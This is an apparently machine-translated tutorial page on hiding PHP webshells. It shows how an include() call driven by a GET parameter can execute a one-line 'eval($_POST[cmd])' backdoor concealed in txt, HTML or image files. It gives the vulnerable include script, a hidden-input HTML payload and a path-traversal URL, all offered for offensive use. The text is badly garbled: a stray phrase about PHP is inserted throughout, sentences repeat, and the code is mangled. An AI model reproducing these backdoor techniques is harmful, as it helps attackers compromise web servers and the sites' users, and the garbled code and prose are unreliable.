PHP webshell hiding skills test report _ PHP Tutorial

Test report on the hiding technique of PHP webshells. You need to know that if you put the php (as the mainstream development language) statement in the image, it cannot be executed in any way, because php (as the mainstream development language) only parse the extension. you need to know that if you put the php (as the current mainstream development language) statement in the image, it cannot be executed in any way, because php (as the current mainstream development language) parse only files with the extension of php (as the mainstream development language. Therefore, php (as the mainstream development language) statements hidden in images must be executed. We use php (as the mainstream development language) to call functions such as include and require.

We still remember the articles that used to hide Trojans in pictures the past few days. That is to say, the include ("x.gif") statement is used in the php (as the mainstream development language) file to call the Trojan statement hidden in the image. The statements in ASP are similar. It seems very concealed, but it is not difficult to find anything suspicious to those who directly call pictures to understand php (as the mainstream development language. Because the GET method in the URL is difficult to pass parameters, this makes the performance of the Trojan plug-in unavailable.

Include functions are frequently used in php (as the mainstream development language), so there are too many security problems, such as php (as the mainstream development language) the WIND1.36 vulnerability is caused by no filtering of variables after include. Therefore, we can construct similar statements to insert them into the php (as the mainstream development language) file. Hiding Trojans in images or HTML files is more concealed. For example, insert the following statement in the WIND Forum of php (as the mainstream development language): <''? @ Include includ/. $ php (as the mainstream development language) WIND_ROOT ;? <Mailto :? @ Include includ/. $ php (as the mainstream development language) WIND_ROOT;? >> Generally, administrators cannot see this information.

With the include function, we can hide the php (as the mainstream development language) Trojan to many types of files, such as txt, html, and image files. Because txt, html, and image files are the most common in forums and document systems, we will test them in sequence.

First, create a php (as the current mainstream development language) file test. php (as the current mainstream development language). the content of the file is:

<? Php (as the mainstream development language)
$ Test = $ _ GET [test];
@ Include test/. $ test;
?>

Txt files are generally instruction files, so we can put a Trojan in the description file of the Directory. Create a txt file t.txt. We put a Trojan in one sentence <? Eval ($ _ POST [cmd]);?> Paste it to the t.txt file. Then access http: // localhost/test. php (as the mainstream development language )? Test = ../t.txt

HTML files are generally template files. To enable the Trojan horse inserted into the HTML file to be called and executed without being displayed, we can add a text box with hidden attributes in HTML, such: <input type = hidden value = "<? Eval ($ _ POST [cmd]);?> "> Use the same method as above. Generally, the returned results of execution can be viewed in the source file. For example, use the function of viewing the program directory. View the source file content as <input type = hidden value = "C: Uniserver2_7swwwest"> I can get the directory C: Uniserver2_7swwwest.

Statement (as the current mainstream development language) can not be executed in the image, because php (as the current mainstream development language) only parses the extension...